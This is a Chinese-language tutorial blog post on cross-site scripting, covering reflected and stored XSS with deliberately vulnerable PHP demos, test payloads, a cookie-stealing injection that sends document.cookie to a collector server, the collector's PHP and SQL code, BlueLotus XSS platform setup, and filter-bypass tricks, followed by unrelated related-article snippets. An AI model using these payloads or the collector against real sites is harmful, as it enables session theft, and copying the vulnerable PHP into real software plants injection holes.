当前位置: 首页 > news >正文

XSS跨站攻击漏洞

XSS跨站攻击漏洞

一 概述

1 XSS概述

xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。

XSS攻击者的目的就是寻找具有XSS漏洞的网页,让受害者在不知情的情况下,在有XSS漏洞的网页上执行攻击者的JavaScript代码。

XSS是提前埋伏好漏洞陷阱,等着受害者上钩。既然攻击者是执行JavaScript代码,所以攻击的语句应该能让JavaScript运行。

有两种途径

第一种 反射型

直接将js代码附在url中,把url发送给指定的用户。引诱其点击。

第二种 存储型

把js代码通过后端漏洞,存入数据库中,由于页面在接受服务器返回响应时会从数据库中取出js代码,造成访问该页面的所有用户被攻击。

2 危害

1.页面挂马
2.获取用户的cookie
3.ddos攻击
4.钓鱼攻击
5.篡改数据
6.传播病毒

二 原理

1 反射型

(1)用户输入内容,直接显示在页面

php

<?php$content = $_GET["content"];echo "$content"
?>

payload

192.172.10.41/week3/demo1.php?content=<script>alert(1)</script>

(2)将用户输入的内容,回显在标签对中

php

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title>
</head>
<body><div><?php$content = $_GET["content"];echo "$content"?></div>
</body>
</html>

payload

192.172.10.41/week3/demo1.php?content=hello

(3) 将用户的输入回显在标签属性中

php

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title>
</head>
<body><div><?php$content = $_GET["content"];?><input type="text" value="<?=$content;?>"></div>
</body>
</html>

payload

闭合标签,添加script标签
192.172.10.41/week3/demo1.php?content=hello"><script>alert(1)</script><!--
添加事件
192.172.10.41/week3/demo1.php?content=hello" οnmοuseοver="alert(1)
嵌入网页
192.172.10.41/week3/demo1.php?content="><iframe src="https://www.taobao.com" width="100%" heigth="100%" ></iframe><!--
添加页面元素
192.172.10.41/week3/demo1.php?content="><img src="./image/dateme.gif" οnclick="alert(1)"><!--

XSS常用测试语句

<script>alert(1)</script>
<img src=1 οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a href=javascript:alert(1)>
<input οnfοcus=write(1) autofocus>

2 存储型

将攻击脚本通过后端写入到数据库中,用户在访问页面时,后端通过查询将所有数据回显在页面触发攻击。

php-add

<?phpinclude "utils/dbUtil.php";
​//1.接收用户输入$content = $_GET['content'];//2.sql$sql = "insert into week3_test values(default,'$content')";//3.执行sql$res = executeSql($sql);//判断结果if($res){echo "success";}else{echo "error";}
?>
192.172.10.41/week3/demo2-xss存储型-add.php?content=百度<script>alert(1)</script>

php-findById

<?phpinclude "utils/dbUtil.php";
​//1.接收用户输入$id = $_GET['id'];//2.sql$sql = "select * from week3_test where id=$id";//3.执行sql$res = queryOne($sql);//判断结果if($res){print_r($res);}else{echo "error";}
?>
192.172.10.41/week3/demo3-xss存储型-findById.php?id=4

三 XSS获取Cookie

1 发送cookie

php

<?phpsession_start();$content = $_GET["content"];echo $content;
?>

注入代码

PHP后台需要将 + 号处理为:%2B,将 & 处理为 %26
语法获取浏览器cookie值 document.cookie发送请求 <script>location.href=url</script><script>location.href="http://ip.php?cookie="%2bocument.cookie</script><script>new Image().src="http://ip.php?cookie="%2bocument.cookie</script>

2 准备C2服务器

搭建phpstudy环境
  • 安装phpstudy

image-20231206121704548

  • 打开软件,启动Apache和MySQL服务。

image-20231206121840758

  • 点击网站,点击管理里的根目录。这里面放的是我们需要去执行的文件,也就是www目录下面。

image-20231206121952513

  • 我们在这个文件里面创建一个简单的php文件。

image-20231206122521204

  • 打开浏览器,输入http://localhost/phpinfo.php。phpinfo.php是你写的文件名

image-20231206122554714

开发xss服务器端

CREATE TABLE `getcookie`  (`id` int(0) NOT NULL AUTO_INCREMENT,`url` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`cookie` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`createtime` timestamp(0) NULL DEFAULT NULL,PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin ROW_FORMAT = Dynamic;

php

<?php$url = $_GET['url'];$cookie = $_GET['cookie'];//1.连接数据库 参数说明: ip 账号 密码 数据库$conn = mysqli_connect("127.0.0.1",'root','root','part3'); //2.设置编码格式utf-8mysqli_query($conn,"set names utf8");//3.sql$sql = "insert into getcookie(url,cookie,createtime) values('$url','$cookie',now())";//4.执行sql$res = mysqli_query($conn,$sql) or die("执行失败".mysqli_error($conn));
?>

3 开始注入获取cookie

192.172.10.41/week3/demo1-xss反射型.php?content=hello<script>new Image().src="http://192.172.10.40/getcookie.php?url="%2Bdocument.cookie%2B"%26cookie="%2Blocation.href </script>

image-20231206141921130

image-20231206141937194

四 BlueLotusXSS平台使用

一、安装

下载地址 GitHub - sqlsec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具

1 上传BlueLotus_XSSReceiver-master.zip到xampp

把BlueLotus_XSSReceiver-master.zip上传到CentOS的/opt/lampp/htdocs目录,并解压
解压 unzip BlueLotus_XSSReceiver-master.zip

2 访问:192.172.10.41/BlueLotus_XSSReceiver-master/install.php

按照提示将config-sample.php改名为config.php 不要点安装

image-20231206153301495

3 配置目录权限

执行命令:chmod o+w data myjs template

image-20231206153652286

4 登录

登录地址  http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php
登录密码  bluelotus

image-20231206153448053

5 进入首页

image-20211106210912883

二、定制XSS代码

1 生成payload

image-20231206155645113

生成Payload后,直接将其代码复制到XSS页面中即可

image-20231206155732151

2 在页面上注入代码

192.172.10.41/week3/demo1-xss反射型.php?content=hello<script src="http://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js"></script>

image-20231206155826294

接收到数据

image-20231206155903035

https://github.com/sqlsec/BlueLotus_XSSReceiver

五 XSS的防御和绕过

1 防御

(1) 前端校验 针对用户输入框进行js校验。

(2)通过函数对用户输入内容中的特殊符号进行转码.

htmpspcialchars(字符串,ENT_QUOTES);  ENT_QUOTES表示对单引号进行转码

(3)通过字符串替换:替换规则需要考虑各种覆盖。

str_replace()

2 绕过

(1)针对前端校验

在浏览器上禁用js
通过工具或者协议绕过前端。

(2)函数替换

1 可以使用实体转码&#x6A 
2 大小写绕过: 针对没有忽略大小写
<Script></sCript>
3 双写绕过 str_replace("script","",$str);
scrscriptipt
4 如果对空格进行了替换 使用 %0或者%0d绕过

六 XSS靶场实战

image-20231206171035727

相关文章:

XSS跨站攻击漏洞

XSS跨站攻击漏洞 一 概述 1 XSS概述 xss全称为&#xff1a;Cross Site Scripting&#xff0c;指跨站攻击脚本&#xff0c;XSS漏洞发生在前端&#xff0c;攻击的是浏览器的解析引擎&#xff0c;XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。 XSS攻击者的目的就是…...

PMP到底值不值得考?

首先&#xff0c;咱们得明白PMP是个啥。 PMP&#xff0c;全称Project Management Professional&#xff0c;是美国项目管理协会PMI颁发的一个项目管理专业人士资格认证。 PMP证书在项目管理领域可是有着举足轻重的地位&#xff0c;与MBA、MPA并驾齐驱&#xff0c;被称为“全球…...

redis面试总结

redis的数据类型&#xff1f; string字符串&#xff1a;类似于java中Map<String,String>。存储字符串、JSON数据、验证码等。 Hash字典&#xff1a;类似java中Map<String, Map<Spring,String>>。比较适合存储对象数据。 List列表&#xff1a;类似java中Ma…...

大模型日报2024-06-24

大模型日报 2024-06-24 大模型资讯 大模型产品 AI快速生成专业播客 摘要: MakePodcast.io使用AI语音&#xff0c;只需提供脚本并选择声音&#xff0c;即可在几分钟内生成专业质量的播客。 Sherloq&#xff1a;SQL用户的AI协作仓库 摘要: Sherloq为SQL查询提供一站式管理&#x…...

深入理解计算机系统 CSAPP 练习题7.4

A:0x4004e8(-4)-50x4004df B:0x5...

摘苹果-第13届蓝桥杯省赛Python真题精选

[导读]&#xff1a;超平老师的Scratch蓝桥杯真题解读系列在推出之后&#xff0c;受到了广大老师和家长的好评&#xff0c;非常感谢各位的认可和厚爱。作为回馈&#xff0c;超平老师计划推出《Python蓝桥杯真题解析100讲》&#xff0c;这是解读系列的第88讲。 摘苹果&#xff0…...

开源项目推荐-vue2+element+axios 个人财务管理系统

文章目录 financialmanagement项目简介项目特色项目预览卫星的实现方式&#xff1a;首次进入卫星效果的实现方式&#xff1a;卫星跟随鼠标滑动的随机效果实现方式&#xff1a;环境准备项目启动项目部署项目地址 financialmanagement 项目简介 vue2elementaxios 个人财务管理系…...

手机数据如何恢复?11 款最佳安卓手机恢复软件

媒体可能由于各种原因而从您的设备中删除&#xff0c;可能是意外或病毒攻击。 在这些情况下&#xff0c;照片恢复应用程序是唯一的解决方案。理想的照片恢复应用程序取决于各种因素&#xff0c;例如存储设备的损坏程度、删除照片后的持续时间以及应用程序使用的恢复算法的有效性…...

大语言模型千问2的web搭建(streamlit)

Qwen2的web搭建(streamlit) 千问2前段时间发布了&#xff0c;个人觉得千问系列是我用过最好的中文开源大模型&#xff0c;所以这里基于streamlit进行一个千问2的web搭建&#xff0c;来进行模型的测试 一、硬件要求 该文档中使用的千问模型为7B-Instruct&#xff0c;需要5g以…...

守护生产车间安全:可燃气体报警器预警与检测的重要性

近日&#xff0c;东莞一材料厂发生的火灾事故再次敲响了工业安全生产的警钟。 这起事故不仅给工厂带来了巨大的经济损失&#xff0c;也暴露了一些企业在安全管理方面的疏漏。其中&#xff0c;可燃气体报警器的应用与预警功能在火灾防范中扮演了至关重要的角色。 接下来&#…...

[创业之路-125] :制造业企业的必备管理神器-ERP-计算的资源管理与企业的资源管理的异同

目录 一、计算机的资源与企业资源相同点与不同点 1.1 相同点&#xff1a; 1.2 不同点&#xff1a; 二、计算机的内存管理与企业的库存管理相同点与不同点 2.1 相同点&#xff1a; 2.2 不同点&#xff1a; 一、计算机的资源与企业资源相同点与不同点 计算机的资源与企业资…...

TDengine Cloud 新增签约,这次是能源物联网平台

最近&#xff0c;全托管的物联网、工业大数据云服务平台 TDengine Cloud 新增一项签约&#x1f973;。为进一步提升平台的数据处理能力与系统稳定性&#xff0c;推动智能设备数据管理和能效优化到新的高度&#xff0c; 德中恒越物联网数据平台选择应用 TDengine Cloud ☁️。 …...

Kafka 最佳实践:构建高性能、可靠的数据管道

目录 1. 部署最佳实践 1.1 硬件配置 1.2 集群配置 1.3 ZooKeeper 配置 2. 主题和分区设计 2.1 分区设计 2.2 数据保留策略 3. 生产者最佳实践 3.1 生产确认机制 3.2 重试机制 3.3 批量发送 4. 消费者最佳实践 4.1 消费组管理 4.2 并行处理 4.3 错误处理 5. 安全…...

进军韩国5G市场!移远通信5G模组RG500L-EU率先获得KT、LGU+认证

近日&#xff0c;移远通信工规级5G模组RG500L-EU再传喜讯&#xff0c;率先通过了韩国两大运营商KT和LGU的严格认证。​在此之前&#xff0c;该模组已顺利通过KC认证&#xff08;韩国法规认证&#xff09;&#xff0c;此次再获运营商认证表明&#xff0c;RG500L-EU已完全满足韩国…...

http/2 二进制分帧层 (Binary Framing Layer)讲解

文章目录 二进制帧HTTP/2 中的帧、消息和流1. 帧&#xff08;Frame&#xff09;2. 消息&#xff08;Message&#xff09;3. 流&#xff08;Stream&#xff09;总结示例&#xff1a; 二进制帧结构1.帧头部结构2.帧负载数据 请求和响应多路复用 链接参考&#xff1a;https://web.…...

Mybatis分页查询,同时返回total

在垃圾项目中一般都是使用mybatis plus自动返回Page,但是涉及到多表联合或者等等情况最终还是要使用mybatis进行手写sql查询,所以有此文章以便后续使用查询. 首先mysql需要支持多条查询语句,在mysql配置url后加上: &allowMultiQueriestrue&useAffectedRowstrue Mapper…...

JDK17新增语法特征

1、引言 Spring Boot 3.0 开始不再支持 JDK 8&#xff0c;转而支持 JDK 17。 这篇博客我会列举较常用的新语法特性。 2、新增语法特征 2.1 yield关键字 从Java13开始引⼊yield关键字&#xff0c;yield关键字应用于switch语句中&#xff0c;我们可以使用yield来简化代码。 正常的…...

2748. 美丽下标对的数目(Rust暴力枚举)

题目 给你一个下标从 0 开始的整数数组 nums 。如果下标对 i、j 满足 0 ≤ i < j < nums.length &#xff0c;如果 nums[i] 的 第一个数字 和 nums[j] 的 最后一个数字 互质 &#xff0c;则认为 nums[i] 和 nums[j] 是一组 美丽下标对 。 返回 nums 中 美丽下标对 的总…...

Vue中双向数据绑定是如何实现的

在 Vue.js 中&#xff0c;双向数据绑定&#xff08;也称为响应式系统&#xff09;是通过其内部实现的一个系统来实现的&#xff0c;该系统可以追踪数据的变化&#xff0c;并在数据变化时自动更新 DOM。Vue 使用了一种称为“观察者-订阅者”的模式来实现这一点。 以下是 Vue 双…...

桌面云和云桌面的区别联系

桌面云和云桌面是两个相关但不完全相同的概念。桌面云是一种基于云计算技术的解决方案&#xff0c;将用户的桌面环境&#xff08;包括操作系统、应用程序和数据&#xff09;移至云端进行管理和交付&#xff0c;而云桌面是在服务器上虚拟化的桌面环境&#xff0c;用户通过网络连…...

HTML 语义化

目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案&#xff1a; 语义化标签&#xff1a; <header>&#xff1a;页头<nav>&#xff1a;导航<main>&#xff1a;主要内容<article>&#x…...

PPT|230页| 制造集团企业供应链端到端的数字化解决方案:从需求到结算的全链路业务闭环构建

制造业采购供应链管理是企业运营的核心环节&#xff0c;供应链协同管理在供应链上下游企业之间建立紧密的合作关系&#xff0c;通过信息共享、资源整合、业务协同等方式&#xff0c;实现供应链的全面管理和优化&#xff0c;提高供应链的效率和透明度&#xff0c;降低供应链的成…...

Qt Widget类解析与代码注释

#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码&#xff0c;写上注释 当然可以&#xff01;这段代码是 Qt …...

服务器硬防的应用场景都有哪些?

服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式&#xff0c;避免服务器受到各种恶意攻击和网络威胁&#xff0c;那么&#xff0c;服务器硬防通常都会应用在哪些场景当中呢&#xff1f; 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...

什么是EULA和DPA

文章目录 EULA&#xff08;End User License Agreement&#xff09;DPA&#xff08;Data Protection Agreement&#xff09;一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA&#xff08;End User License Agreement&#xff09; 定义&#xff1a; EULA即…...

关于 WASM:1. WASM 基础原理

一、WASM 简介 1.1 WebAssembly 是什么&#xff1f; WebAssembly&#xff08;WASM&#xff09; 是一种能在现代浏览器中高效运行的二进制指令格式&#xff0c;它不是传统的编程语言&#xff0c;而是一种 低级字节码格式&#xff0c;可由高级语言&#xff08;如 C、C、Rust&am…...

爬虫基础学习day2

# 爬虫设计领域 工商&#xff1a;企查查、天眼查短视频&#xff1a;抖音、快手、西瓜 ---> 飞瓜电商&#xff1a;京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空&#xff1a;抓取所有航空公司价格 ---> 去哪儿自媒体&#xff1a;采集自媒体数据进…...

智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制

在数字化浪潮席卷全球的今天&#xff0c;数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具&#xff0c;在大规模数据获取中发挥着关键作用。然而&#xff0c;传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时&#xff0c;常出现数据质…...

C++实现分布式网络通信框架RPC(2)——rpc发布端

有了上篇文章的项目的基本知识的了解&#xff0c;现在我们就开始构建项目。 目录 一、构建工程目录 二、本地服务发布成RPC服务 2.1理解RPC发布 2.2实现 三、Mprpc框架的基础类设计 3.1框架的初始化类 MprpcApplication 代码实现 3.2读取配置文件类 MprpcConfig 代码实现…...

Spring Boot + MyBatis 集成支付宝支付流程

Spring Boot MyBatis 集成支付宝支付流程 核心流程 商户系统生成订单调用支付宝创建预支付订单用户跳转支付宝完成支付支付宝异步通知支付结果商户处理支付结果更新订单状态支付宝同步跳转回商户页面 代码实现示例&#xff08;电脑网站支付&#xff09; 1. 添加依赖 <!…...